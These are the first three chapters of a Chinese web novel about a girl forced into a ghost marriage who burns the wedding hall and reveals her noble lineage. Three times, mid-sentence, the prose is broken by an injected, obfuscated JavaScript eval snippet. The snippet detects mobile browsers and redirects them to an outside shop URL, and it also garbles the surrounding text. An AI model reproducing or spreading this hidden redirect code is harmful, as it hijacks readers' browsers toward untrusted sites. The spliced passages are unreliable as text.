《工科女博，但卷科举》 1. 囍（一） 梆子敲到第四声（注1）时，清水潭徐家西北处的角门开了。 自先徐太公荣入翰林之日起，这座老宅已经荒废了整整三十六年。 今夜，腐朽的宅门新贴了一幅对联。 一顶花轿停在了宅门口。 轿子里绑着一个新娘。 新娘子身上胡乱裹着一件喜服，盖头却周正地缝在她的发冠上。 她双手被交叉着捆在脖子两侧，麻绳绕在脖子后边打了一个死结，沾了麻油的粗布条子在她的脸上絷了两圈，将她的喉舌死死扼住。 这是乡里惯常绑牲畜的手法。 新娘子被勒着向前行进着，步履匆匆间，鞋落了一只，滚在地上，被踩的稀烂（注2）。 老宅里在办喜事。 红色锦绸缠着雕梁绣柱，大红灯笼悬在房檐廊角，十四番乐在正堂里齐响，四对儿赞者分列两行。 上席高悬，观礼的宾客们却满堂。 这些宾客脸抹得煞白，嘴上的胭脂却又奇红，两边嘴角儿一上一下咧着，红白之间笑出一条条黑纹，看上去悚然极了。 “新娘子来了！” 一个仆妇率先栽进堂内，旋即一群人拥着新娘子欢欢喜喜进了堂。 钹子一声响，八个赞者一齐高呼—— “鞠躬！拜兴！” 他们押着魏兰蕴二拜天地与高堂。 西弄堂内点着八对龙凤花烛。 烛芯里头忽的炸出了个火花来，仿若惊雷一道。 年轻的丫鬟经不住事，吓得哆嗦一阵。 她循声看过去—— 西弄堂里的窗纸是新糊上去的，干净透亮，烛光在窗纸上倒映屋里的男人，他躺在棺材里，死的并不安详，七八个礼仪人轮番上阵，才勉强让他闭上眼来。 弄堂里的烛芯又炸了一下。 另一具棺材也在窗纸上映了出来。 这具棺材是空的。 是用来盛放男人的新娘。 “她好可怜……” 丫鬟守在暖阁外边儿。 她小声说了一句，呼出来的热气儿化作一阵白茫茫，在冬夜里霎时间随风飘走了。 暖阁是新修出来的，木头上散发着刺鼻的生漆味道，阁里的熏香点的足足的，银丝般的炭火一熏，仿佛入了春。 “啊呀！能嫁进夫人家里，是新娘子三辈子也修不来的福气昵！” 圆脸妇人半坐在暖阁里边的绣凳上，说起话来乡音浓厚，暖阁里的炭火烧的很足，她的鼻尖上缀着浅浅的一层汗水。 像她这般的妇人还有很多。 她们或坐或立，簇在正中的芙蓉软榻边。 “听说他们把她栓在羊圈里，三天没给吃喝，她身子都僵了，几乎没了呼吸……” 暖阁外边。 另一个守阁的丫鬟压低了声音，靠近了才说。 有风从残败的枝叶间呼啦而来，两个丫鬟将脖子缩进衣裳里，耳朵冻得通红。 “人倒是乖觉懂事，大喜的日子，也没有闹什么。” 暖阁里。 芙蓉榻上高坐一位贵夫人。 她半眯着眼睛，似睡非睡，手中有序地拨弄一串小叶紫檀的佛珠，身后两侧站着八对儿十六个仆妇，仆妇们皆身着精细绸缎，发佩铜饰钗环，她们肃穆地站着，仿若石刻的雕像。 “要我说，这姑娘不懂事的很！” 一个妇人站起身来，想朝着贵夫人靠近几步，奈何却在仆妇的注视下露了怯，她局促地站在原地，沾了陈泥儿的布鞋不敢踏上佛叶合水莲的地毯半步。 另一个妇人趁机接了她的话头。 “谁嫁进夫人家里不是欢欢喜喜的？那姑娘抬进门时我去看了眼，一副死气沉沉的样子，没点儿喜庆样儿！” “这叫什么话！”贵夫人嗔怪般看了那两人一眼，又接着说道，“我家又不是什么贵胄人家，我那侄子又是这个样子……” “若是夫人家算不上贵气，那我们这样的人家便是街上要饭的了！” 陈泥儿布鞋妇人突兀地叫起来，声音高昂到刺耳，她的脸涨得红极了，强装了一副直言不讳的忠臣样儿，她试图掩饰她方才的尴尬。 屋子里的人纷纷附和起来，神色亦惊亦怒。 她们危言正色，她们义正词严。 仿若庙堂上的御史言官。 仆妇奉上了一杯茶，徐大夫人的嘴角在茶盏下微微勾起。 的确。 她对这些妇人的奉承十分受用。 这些妇人都是清水潭有头有脸的官吏媳妇，平时在十里八乡都是呼来喝去好不威风的角色，而在她这里，她们只能摇尾乞怜阿谀奉承，只因为—— 她们徐家，的确是贵不可言。 她夫家清水潭徐氏，自翰林徐公始，共出了三名进士六名举人，秀才廪生数不胜数，她家公更是荣退正二品资善大夫，小叔是永平六年的探花郎，掌一方盐政大权。 能嫁进他们这样的人家，竟还摆出一副冷脸子。 新娘子真是不懂事。 “这有什么办法呢？”又有个妇人刮着茶沫，悠悠地道，“她母亲早死了，父亲不喜，打发去了别家，没人教养，自然不懂规矩。” 她从容自在，在一众妇人当中很是扎眼。 徐大夫人拨珠子的手一顿，随后若有所思地感叹一句。 “这也是没有办法的事情，咱们做长辈的，应该体谅着些。” 一股汗臭味从那站着的陈泥儿妇人身上飘过来。 徐大夫人厌恶地拧了一下眉。 两个仆妇忙在旁打起香扇子，又四个仆妇再搬了两个香炉来，横在二人之间。 刮茶沫的妇人低垂着脑袋，笑出了声。 这让陈泥儿妇人愈发惶恐而局促不安。 “啊呀，小姑娘本来是该钉死在棺材板子里昵，新铜早就准备好了，铁匠也请好了，要不是大夫人心善，现在刚打好的烧红的钉子就该敲进她身上昵……” 圆脸妇人忙出来打岔子。 “他们怕她埋了也想办法跑，听说要用三尺长的黄铜钉子把她钉死在地底下……” 暖阁外的丫头在风里窃窃私语。 “阿弥陀佛。” 暖阁里的徐大夫人虚拜一下。 她这样吃斋念佛的人，怎么能干得了这般事？ 勒死了。 也便罢了。 鼓乐一路舞到了西弄堂。 这是一间被布置好了的洞房，梁柱新刷了红漆，门窗新挂了红帘，四合如意锦纹栽绒毯铺了满室，五谷八宝饴糖醇酒琳琅满目。 花烛的烛芯嘶啦作响，烛火在窗纸上跃出斑驳的光影。 魏兰蕴跪在洞房门口。 光影在她的身上戛然折断。 自她身前是死人棺材，光亮亮的一片，而自她身后，日月无光。 皆是死路。 她不记得她是什么时候来到这个世界的。 只记得在沉沉的夜里。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354440|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们将她带走时，抄起路边长满青苔的石头卖力地往她头上砸去。 用过的石头又被随手丢在路边。 血淋淋的。 十五六岁的小姑娘，被捆着拴在羊圈里，半倚着槽头休息。 羊吃光了草料，一路啃食到她的头发。 她想往一旁挪去，用尽全身力气，却连眼皮都没有抬起来。 魏兰蕴还记得，她在脑后的胀痛、腹胃的刺痛里，在一具脱水又无力的身体里，精疲力尽地睁开眼睛。 那是一只母羊正回头舔舐她的脸庞。 而母羊的躯壳，横立在魏兰蕴的上方。 本该用来哺育幼羊的汁水，一滴一滴落下。 一滴一滴。 顺着她嘴角一滴一滴渗去，直至喉舌胃肠。 魏兰蕴似乎在另外一个人身上，重新睁开了眼睛。 夜更深了。 西弄堂的花烛又炸了三两个火花出来，影子在窗纸上跳跃。 巹酒三酳，他们拿了豆谷枣栗来。 “撒帐东，宛如神女下巫峰，揭开便见嫦娥面，红云接起一重重（注3）……” 一个壮硕的汉子拿了条牵红来。 红色的绸子一头系在新郎的棺材板，另一头绕在魏兰蕴脖子上，这是一双新人要拜堂了。 “撒帐西，锦带流苏四角垂（注4）……” 这汉子拽着牵红，踏出一只脚来，踩在魏兰蕴的背上。 “撒帐南……” 蜡烛再炸开了个火花，汉子抻了抻绸子，绷紧了手臂。 红绸在上收紧，拽着魏兰蕴的上半身，汉子的脚却用力往下踩，迫使她背脊向下走。 魏兰蕴的影子在窗纸上折成扭曲的形状。 嘭—— 影子熄灭了。 龙凤花烛炸开了花，在浓浓溶溶夜色里仿若绚丽的烟火。 烟火是她灵巧的画笔，红绸锦缎是她的画布，而绚烂的火焰是她举世无双的画作，窗纸顷刻间便烧没了，年老失修的梁柱子掉了下来。 轰隆一声。 柱子砸在了新郎的棺材板上，板子碎成一片。 尸身滚落出来，压在火上。 烧起来了。 众奴吓得倒吸一口凉气，红色的绸子在惊愕之下松了个干净。 魏兰蕴重重地跌落在地上。 奴仆们奔走呼号。 打水的打水，泼沙的泼沙。 没有人再顾得上她。 她孑然倒在大火与废墟之间，脖颈处缓慢生长出一道可怕的青紫痕迹，长久不进水米让她近乎力竭，她眼瞳垂垂，气息奄奄，像一尊破碎的瓷盏，亦或是半步冥府的神祗。 西弄堂烧成了一片亮堂堂。 火光照亮了魏兰蕴身后的路。 日月无光。 她自点火相照。 多宝架烧塌了，好意头的五谷像雨一样落下。 撒帐北。 簇拥仙郎来凤帐，芙蓉暖帐火燎烧，月娥怒斩蟾宫客，好叫这儿郎家勿妄展他个什么举案容，爰申去他娘的合卺礼（注5）。 身死无灵，莫念同穴。 窗纸烧没了，蜡烛烧尽了。 穿堂的风哗啦啦地吹来。 魏兰蕴的囍袍在风里呼呼作响。 一股浓重的羊膻味从风中涌出。 仿佛是源自这羊圈里接来的新娘子，又仿佛源自那—— 用羊油新炼制而成的。 蜡烛。 2. 囍（二） 然而，这只是一场并不起眼的火灾。 在烧光这一间小小的弄堂之后。 火焰很快就被熄灭了。 平息这因火引发的区区乱局，对于执掌徐家中馈多年的徐大夫人来说，信手拈来而已。 “她是谁家送来的？” 徐大夫人遥遥望了魏兰蕴一眼。 她的红盖头在大火里燎没了一半，露出她光洁的半张脸来。 哪怕只露出了半张脸，在隐绰的曦光之下，这个女孩子还是美得令人失神。 束缚她的绳索诡异般在大火里烧尽了，徐大夫人嫌麻烦，没有吩咐人再捆她，只让两个练家子将她看管在东抱厦里。 她没有挣扎，也没有喧闹，只安静地跪坐在麦草上。 泥垢和血痕裹了她满身。 哪怕受尽了苦难，可清水潭的灰土却仍然未能掩去她半分颜色。 这穷乡僻壤竟还有如此漂亮的女孩子？ 徐大夫人十分讶异。 不过想来却也合情合理。 徐家这般高门显贵，想结交徐家的人有如过江之鲫。 有人米里掺金，有人怀珠偶遇。 有人恰投其所好，送了一个悦目的祭品来，这其实并不奇怪。 徐大夫人转过了头去。 这个卑贱的女孩子还不值得她看第二眼。 魏兰蕴安静地跪坐在麦草上。 膝下的麦草打成了结，草结无序地交错着，在地面上，恰好铺陈出了徐家老宅的痕迹。 从这里出去要走过一条沙砖铺的小路。 路上杂草生了半尺高，中间仅仅斩出一条一尺宽的过道供人行走，而出了正院后，老宅外的院墙处每隔两尺便站了一个把手的人，他们穿着深褐色云纹服，像是从衙门借来的皂吏。 老宅外是村野和乡田，是徐家的地界。 逃跑的女孩子会磕磕绊绊穿过小路，跌跌撞撞躲开皂吏的抓捕，会从一个年久无人可知的狗洞钻出去，然后一块石子便掉进大海汪洋。 夜晚的海是波涛汹涌的。 乡人们也许会举着火把像浪潮一样涌出来，为他们的地头抓捕一个不知好歹的女孩子。 所以，不能冒险，不能这样做。 魏兰蕴，你不要急。 你要那样做。 天要亮了。 按理来说，现在应该重新起仪送葬。 但是—— 徐大夫人想了想，提着裙子走进了暖阁。 暖阁内，众人依旧簇拥在芙蓉榻边，袅袅的一个人影歇在榻上，先前那从容的妇人正跪坐在榻边，殷勤地为榻上人端茶递水。 榻后新设了小几，并添了两顶香炉又五个青玉炭笼。 一个十五六岁的小姑娘坐在小几边上，抱着布枕，睡眼惺忪，炭笼暖得她脸颊绯红，她热极了，将一只鞋踢了，露出珠玉一般圆润的足来。 “娇娇儿！”徐大夫人热切地喊道。 被唤住的小姑娘睁眼，只看了徐大夫人一眼，喉咙里发出嗯呢一样的声音，打了个哈欠，尔后又睡了过去。 徐大夫人有些尴尬。 “嫂嫂来了？”榻上的人瞧见徐大夫人，语气惊讶且热切。 这位便是新郎的母亲，徐大夫人的弟媳，三品都转运盐司使的妻子，徐家行二的夫人。 今天这场喜事本应该由徐二夫人来办。 所有的物件儿与准备一直是由徐二夫人操持的。 可奈何娇儿罹难，徐二夫人哭伤了身子，日前一碗羊肉汤下肚，虚不受补，陡地一下病的连床都起不来，只能修书三封请大夫人代为主持大局。 徐二夫人忙扶着起身下榻相迎。 可徐大夫人又怎么能真的让一个病人起身。 徐大夫人上前按下二夫人的肩膀，说了好一通关切的话。 让她安心躺着，勿要在意这些虚礼。 话说完了，接下来本该是二夫人言辞恳切的拒绝，以及强行要见礼的模样。 可徐二夫人乖巧地躺回了榻上。 仆妇趁机扶了扶她腰后的软枕，让她躺的舒服又惬意。 “嫂嫂快请坐！” 徐二夫人说着，仆妇赶忙拿了绣凳来，请大夫人坐下。 这是一张平平无奇的绣凳，与阁内这群乡野妇人坐的别无二致。 徐大夫人愣了一会儿才坐下去。 仆妇上了一杯茶。 徐二夫人抿了一口便撇在了一边。 “出了家门几天便没了规矩，这样的茶也拿来给我用。” 仆妇惶恐，跪下恳求主子息怒。 求饶之间，却忍不住偷瞧了徐大夫人一眼。 先前大夫人用这茶时，可没有半点不满。 “这阁里一股子生漆味道，以为多拿了几顶香炉来，我便闻不出来了？” 徐二夫人再骂。 仆妇们一水儿地跪了下去，又瞧徐大夫人。 这事儿，徐大夫人也没有不满过。 徐大夫人面色有些怏怏。 “你们便是仗着我嫂嫂宽厚，肆意苛待了人去！” 徐二夫人斩钉截铁。 这似乎是在为大夫人找补。 徐大夫人面上缓了几分，长呼出一口气来。 “我大哥可是南直隶经历司经历！堂堂七品经历夫人，竟要受你们这档子窝囊气！” 暖阁内咒骂不停。 “不乐意办这事，当初接下来做什么？心里有怨便故意将旁人的宝贝摔了，还要打着意外之名，让别人打掉牙齿和血吞，真是——” “贱不贱啊！” 徐大夫人的脸彻底黑了。 她哪里骂的是这帮仆人，她骂的是自己。 云在天上涌动。 “无非是被身份高贵的弟妹压着，扬不了大夫人的威风，这才平时装出一副贤德样子，吃斋念佛的，好为自己挣出几分面子来……” “她哪乐意办这晦气事？给拒了两回，最后实在没办法了才答应下来的……” 暖阁里的声音随风绕着宅子飘了一个来回。 奴仆们窃窃私语。 一个没有威严的主母，自然压不住阖府的奴仆。 主子的丑闻早在下人的嘴里漏成了筛子。 魏兰蕴早已经听过了好几回。 徐大夫人走出了暖阁。 她抱着手炉站在廊下，面色肃穆如寒冰。 暖阁里走出来一溜仆妇子，如烟云般倏一下四散在宅子里，她们有条不稳地调令人手，不再需要徐大夫人发号施令。 这对于当家多年的徐大夫人来说，没有比这更能羞辱她的了。 徐大夫人以袖掩面。 大老爷滞于七品久矣，本来指望办了这事能助他向前进益几步，可没成想适得其反，不仅将人得罪了，还让自己彻底没了脸面！ 明明—— 徐家二位老爷才是一母同胞的亲兄弟，凭什么老二一朝发达却只顾提携妻舅，那亲家舅爷什么事都不用做，自有那撒泼卖痴的姐姐替他操持，而自家分明是亲大哥，不仅半点好处都得不上，竟还要讨好着看人脸色！ 凭什么？ 徐大夫人眼眶尽红了。 仆妇们架着魏兰蕴从徐大夫人面前走过。 她踉跄了一下，宽大的喜服压在地上，露出一只珠玉一般圆润的足来。 就与家里的女儿们一样。 十五六岁的女孩儿家，都是千娇万宠长大的，从手至足，从指到发，无一不是精细呵护着，一身俱是玉颜色。 这并不足为奇。 徐大夫人只略扫一眼便将头扭了过去。 暖阁里不知是谁讲了个笑话出来，逗得众人哄笑，阁里的小姑娘也睡醒了，她笑声如同银铃一般，悠悠地传出阁来。 她从前的声音呕哑嘲哳，并不好听。 是她母亲徐二夫人拿着帖子叩请太医院院判大人，亲自给她配了药，价值千金的荣养丸吃了三四年，声音才养得有副小姑娘的样子。 那么……她呢？ 又是谁养的她，谁让她三伏日下有华盖，谁又让她行止落地有车马？ 里长媳妇的鞋上尚带着洗刷不掉的泥巴印记，既如此—— 她是什么人家里出来的？ 她这个妯娌，自从独子去世之后，可算是疯的彻底。 一个可怕的想法从徐大夫人心里冒出。 她的嘴比她的脑子动的更快。 “全部给我停下！” 奴仆们皆停了下来，目光顺着声音望去，待看清发号施令的是谁后，他们呆愣了一瞬，而这一瞬又被第一个动起来的奴仆打破，有人继续着手里的事情，而有的人则手举在半空，犹豫地张望着，不知该听从谁的命令。 徐大夫人只感到一阵荒凉。 “大夫人，您这是什么意思？” 有个婆子质问道，这婆子是二夫人的心腹，夫家姓刘。 “我要看看新娘子的庚帖。” 徐大夫人斩钉截铁。 刘婆子瑟缩一瞬，随后立即挺直了胸膛。 “老爷吩咐了，天亮之前事情须得了了，这天眼看就快要亮了，若是耽搁了，若是老爷怪罪下来，老奴那只得如实禀报了。” 这不只是挑衅，更有威胁。 亏心的人才会虚张声势。 徐大夫人愈发硬气起来，她的眼眸里带着连自己都不明白的疯狂。 这疯狂是压抑许久的，来自她多年在妯娌之间的忍气吞声，来自于她经年对二房厚此薄彼的嫉妒怨怼。 “我要看新娘子的庚帖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354441|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐大夫人又重复了一遍。 “大夫人，这可是二老爷吩咐的。” 刘婆子也重复了一遍。 “今天这庚帖我看不到，大不了我们大闹一场，闹得大家都没了脸，我倒要看看，最后会是谁的腌臜儿子收不了场。”徐大夫人冷笑一声，继续说道，“莫非是，你们二夫人做了什么见不得人的事情？我不能看看？” 这是妯娌间彻底撕破脸了。 不过没有关系。 如果她所思所想的是真的话。 “大夫人当真要如此？” 刘婆子后退几步，护住身后的红匣子。 徐大夫人一个眼神过去，立即有个小厮猛地扑过来，将刘婆子制住，又有三两个丫鬟直挺挺朝着红匣子冲出来。 院子里乱糟糟的。 两头的奴才们抢成了一团。 红匣子忽的飞了出去。 碎在了地上。 里头的册子散了出来。 这册子粘的并不牢固，纸张散了一地。 徐大夫人立即低头看去。 上边长篇大论地叙述了徐家大少爷三代官途名讳，家中金银、田土、宅舍俱在其中，而女家之述，仅有一页，纸上简短地写上了三行字—— 魏元女。 祖无籍。 恒无定产。 徐大夫人愣住了。 刘婆子得意地笑了起来。 这……怎么可能呢？ 徐大夫人猛地扭头朝魏兰蕴扑过去。 她抓住了魏兰蕴的手，胡乱地抹动。 没有，什么都没有，一点茧子也没有，这双手纤细绵软，是一双从未下过田、插过秧、洗过衣裳、进过庖厨的手。 她只站着，周身气韵犹雍容，她站在这个破败的老宅，就像站在楼阁高台。 一张漂亮的脸蛋是上天赐予的，但是圆润到半点茧子都没有的手足不是。 能养出这样的女儿的人家，不会送女儿如猪狗一样去死。 徐大夫人踉跄朝着魏兰蕴走过去，她的手在颤抖，她的心在猛烈地跳动。 可是—— 可是这个女孩子是可以说话的。 那絷了她三日的麻布条子早就在大火里烧掉了。 她是可以说话的！ 如果她真的是特殊的，她为什么不说？ 如果她真的是特殊的，她早该在饥寒交迫之际，早该在命在旦夕之时，将她的所有的经历、身份、背景以及她的名字，大声说出来！ 徐大夫人开始懊悔自己的冲动。 事已至此。 她已经退无可退。 “你是谁家的？”她还是说出了这句话。 天空泛起了鱼肚白。 这个夜晚格外的漫长，漫长到魏兰蕴度过它，就已经精疲力尽。 魏兰蕴深吸了一口气，缓缓说道。 “上阳魏家第十九代……” 在她很小的时候，父亲曾经教导过她，话只有说给想听的人听的时候，才算是真正说了出来，话只有在说给有相同利益的人的时候，才算是信而有证的。 荒诞的话没有人会相信。 说荒诞话的人会被当成疯子烧死。 “宣平六年三元魁首、右都御史特进光禄大夫魏邕长孙，文华殿大学士魏伯雍长女，见过徐大夫人。” 多荒诞的话。 真令人难以相信。 徐大夫人愣住了。 她手上的佛珠串子四分五裂，无价的紫檀珠子掉了一地，四散着，随后渺无踪迹。 但徐大夫人无暇去管。 徐二夫人身边得脸的妇人是说过这样一句话—— 她母亲早死，父亲不喜，打发去别家。 京城上阳魏家确实有这样一个女儿。 似乎……恰养在此地。 徐大夫人突然感到一阵狂喜，她嘴角咧如血盆，面色却还僵在呆愣之态，喉咙提不上气来，只能发出僵硬的咳咳的笑声。 她这个妯娌！ 她这个妯娌竟敢掳了这样一个名门之后，给她的那个腌臜儿子陪葬！ 一口涎水呛在了喉咙里，徐大夫人猛烈地咳嗽起来。 咳嗽之间，她又感到一股从心底里涌上来的寒意。 这可是当朝帝师、谏议大夫魏邕的孙女。 徐家的前途可能就要毁在这个疯婆子手里了。 徐大夫人只觉寒毛竖起。 “快！快马传书，命二老爷速归，就说——家里出大事了！” 明月隐树，日出雾露（注1）。 天亮了。 哐当一声。 魏三老爷一脚将正屋的门踢开，门板撞在墙上，裂了老大一条缝。 “你将谁送去配了清水潭徐老二的冥婚？” 3. 囍（三） 这是魏三夫人晨起洗漱，接受妾室请安的时辰。 此刻她正坐在妆台前，让她最合心意的妾伺候梳妆。 魏三老爷踢得这一脚，吓得她从椅子上陡地站起来，青丝被拽落一绺。 弄堂里等候问安的妾一齐望了过来。 魏三夫人头皮疼的发麻，她余光扫了一眼弄堂处，挤出一个笑容，好声好气地笑道：“老爷歇歇脚，瞧这汗流的，衣裳都湿了，柳娘还不快去带老爷换身衣裳！” 尾音拔高了声响，守在门口的仆妇们会意立即将门关上。 柳姨娘上前两步正欲服侍，却被魏三老爷一把推开。 他想说些什么，略扫了一眼柳姨娘，还是决定顾忌夫人的面子，让柳姨娘退下。 见老爷心头还是在乎自己，魏三夫人笑开了花。 “你把大姐儿送去配了徐老二的冥婚？” 魏三老爷简直不可置信。 他今早从柳姨娘的院子里起来的时候，就听见下人在议论这件事情。 那时他不置可否。 他父亲曾是帝师，大哥又身居要职。 就算是徐家老二猪油蒙了心，癞蛤蟆想吃天鹅肉，要他们魏家大房的嫡长女去给他的儿子配冥婚，那他家又怎么可能答应把女儿送过去呢？ 然而他一路走过，府里却不止一个下人这样议论着。 那刻意压低着的气声断断续续的，在那个门廊处，在这个假山里，碎成一片的词块儿钻入魏三老爷的耳朵里，拼凑成了一个故事。 一个令人惊悚的故事。 魏三老爷惴惴不安，一路朝着魏兰蕴所居之地走去。 那里空空如也，门窗楼阁处还有挣扎的痕迹，路边突兀地放了一块沾满青苔的石头。 石头上血淋淋的。 “老爷！”魏三夫人娇嗔一声，揽住魏三老爷的胳膊，“我哪里敢把大姐儿送去做这丧良心的事情，大姐儿病着呢！” “病着？”魏三老爷皱了皱眉。 “是呀！”魏三夫人点了点头，“突然就病了，前儿才招了大夫来看，大夫说姐儿要静养着，正好我阿兄家在丹州新添了个宅子，还没住进去，我说我家大姐儿是顶顶金贵的，有这样好的东西必得紧着大姐儿用了去！这不为了姐儿的身体，赶紧着将她送了去！” 魏三夫人说着，很是愤懑。 “不知是外头哪个小娘皮瞎嚼舌根子，我一片慈母之心，竟被编排成这样！” “真的吗？”魏三老爷问她。 “那必然是千真万确！”魏三夫人对天发誓。 “你也不怕老天降了道雷劈死你。” 魏三老爷冷笑，手狠狠拍在案几上，发出砰的一声。 “你还不跟我说实话！” 外头的妾和奴仆们悄悄往房里张望着。 “你不知道她是谁吗？她是大哥的嫡长女儿，你居然！你居然敢把她当成那种……那种东西，送了出去？” “什么嫡长女？说得那般金贵！屠户家生养出来的小丫头片子而已！” 生怕在外人眼里自己没了面子，魏三夫人梗着脖子反驳道：“同样是女儿，二姐儿被大哥从小教养着，大诰颁下来后，大哥亲自请了翰林院的先生，要领着二姐儿去考科举，去当官！可是大姐儿呢？” “你大哥自己都嫌她晦气，不要她！没管过她！” “她今年已经十六岁了，寻常人家的女儿十六岁早就嫁人了，就连咱家的三姐儿，大哥年前还吩咐要给她相看人家，谁又管大姐儿了？我好心给她找了一个人家，怎么还成了驴肝肺了！” “你别忘了她可是父亲养大的！” 忌讳般看了一眼屋外的奴仆，魏三老爷压低了声音吼道。 昔年兄长不喜这个微末时聘的妻子生下的女儿，对她极为严苛，父亲不忍，便把当时仅有两岁的小女童带在身边，于各地辗转上任，一晃便是十年。 “我当然没忘！”魏三夫人也压低了声音，“这个目无尊长的小崽子，三年前将做出那事儿来，将老太爷气狠了，打发到这里来，再不许她上京去，我可是记得一清二楚！大哥不喜欢她，父亲讨嫌她，我将她送走，还没准正和了他们的心意！” “况且……” 魏三夫人捂着胸口，委屈地说道。 “老爷你又不是不知道，那徐家二夫人是西林军属，忠烈安定伯的后人，徐家二老爷又身在肥职要差，父亲正要致仕，大哥又只是一个小小学士。” “他们徐家找我要人，我怎么敢不给啊！” 魏三夫人泪如泉涌。 “你……你……”魏三老爷只觉得气血翻涌，一口血咯在喉管处上不来。 他的夫人也是魏家衰败时聘下的，一个老秀才的幺女，仗着教了女儿识了些字，那个老秀才开出了二十两纹银的高价，那是他当时可以够得上的最高处。 小门户终究是小门户，哪怕是识了些字也掩盖不了见识的浅短。 小小学士？ 那是要入内阁的位置！ “快！立即派人去徐家，把大姐儿给我接回来！” “老爷！” 魏三夫人砰地一下跪倒在地，嘶声哭泣。 徐家老宅里最后一个瓷瓶碎了。 它被徐二老爷狠狠地掷了出去，在地上碎成了一片。 “那可是我的元儿啊！他值得天下最好的东西！” 徐二夫人瘫坐在地上，靠着四方椅，手抚胸口，放肆痛哭。 那是她的孩子啊，那样好的一个孩子，十八岁就中了状元，甚至比他爷爷还要年轻些，他在殿前策问得陛下三嘉，特赐为太子延讲，这是多大的荣耀！ 可他就这样死了，这样不明不白地死了。 她的心，几乎都碎了。 这样好的孩子，这些乡里的粗野村妇如何可相配？ 要不是她的儿子死了，不然就连魏伯雍的女儿，都没资格与他相配！ “你真是疯了！”徐二老爷怒骂。 主君和主母的身后分列着两排小丫鬟。 年轻的女孩子正是活泼好动的年纪，她们低着头，眼神却忍不住地四处乱飘着，眉毛鼻子拧成一团，神情揶揄极了。 这是徐大夫人吩咐的。 贤德的主持中馈的大夫人永远是这么周到，知道二老爷是急赶回来的，必然口渴肚饿，吩咐了丫鬟们在老爷旁边捧着果子茶点伺候着。 徐家的宅子倒是清了场。 那些有头脸的媳妇子们一并清了出去，暖阁里面空空荡荡的。 徐幺娘缩在暖阁的角落。 父母的哓哓不休的争吵声令她害怕极了，她浑身颤抖，噎噎咽咽着。 奶母抱着幺娘，唱着哄孩子的歌谣，轻轻拍着她的脊背，目光却不由自主地朝着另外一个女孩子看去—— 魏兰蕴跪坐在松软的鹅毛绣垫上，手里捧着滚烫的一盏茶，干涸的唇瓣贴在茶杯边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354442|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘，水气儿腾腾往上飘着，模糊了她的脸庞。 她可真美。 就是整个丹州府的娘子加在一起，也比不过一个她。 奶母忽的叹了一口气。 两个都是十五六岁左右的女孩子。 一个且惧父母争吵。 而另一个—— 鬼门关来回一遭，犹自泰然。 差别真大。 伴随着椅子被踢倒的声音。 徐二老爷从正堂里走了出来，径直进了暖阁。 就在进门的一瞬间，徐二老爷怒气腾腾的脸顷刻便换了一副祥和模样。 他温和地抚去幺娘脸上的泪痕，让奶母抱着幺娘子先出门。 奶母领命，她抱着幺娘，弓着背在暖阁退行。 在奶母眼里。 不比于大夫人那样的佛口蛇心，二老爷才是真正的慈眉善目，他为官二十年，是百姓口中频频称赞的父母官，他为父二十年，是家中孩子们最敬仰的慈父。 哪怕是在外头气极了恨极了，他也从未把气撒在孩子身上。 就比如现在一样。 真好。 青天大老爷来了。 这个女孩子会得到她应得的公道和正义。 如果她是这个女孩子的话，她一定要好好地哭一场，狠狠向青天老爷诉说自己的冤屈，把他们加诸在自己身上的不公不平的待遇大声嚷嚷出来，好为自己讨一个公道与正义。 这个女孩子会这么做吗？ 应该会吧。 哪怕她再如何泰然自若，她都只是一个十五六岁的小女孩儿，见到这么和蔼可亲的长辈，她心中的委屈就应该像开了闸的河水一样，哗啦啦地流出来。 奶母退出了暖阁。 暖阁的门合上了。 徐二老爷坐在绣凳上，那是普通的一张绣凳，还带着几个乡野妇人的汗臭气，徐二老爷毫不避讳地坐在其上，他周身气度凛凛，仿若坐的并不是一张普通木凳子，而是金丝楠木打成的浮雕螭纹捧寿椅。 “魏大娘子。”徐二老爷开口，语气和缓如春风般娓娓，“我是徐重。” 他极为坦荡地介绍自己，不带官位身份，不带老爷尊称，就像一个普普通通的邻家长辈一般，他继续说道：“西林犒军的时候，我和你的祖父见过一面，论辈分我应与你的父亲一辈，若是你不嫌弃，便唤我一声叔父吧。” “徐二老爷。”魏兰蕴说道。 她甚至头都没有抬一下。 没有预想中小女孩儿眼泪汪汪地呼唤长辈，徐二老爷有一瞬意外，随即他又了然。 这个年纪的女孩儿气性都大，受了这么多委屈，还在生气，这也正常。 “外头天色很好。” 徐二老爷寒暄着，就像是一个寻常的早晨，和善的叔父对邻家小姑娘亲切地问候。 “是啊，天亮了。” 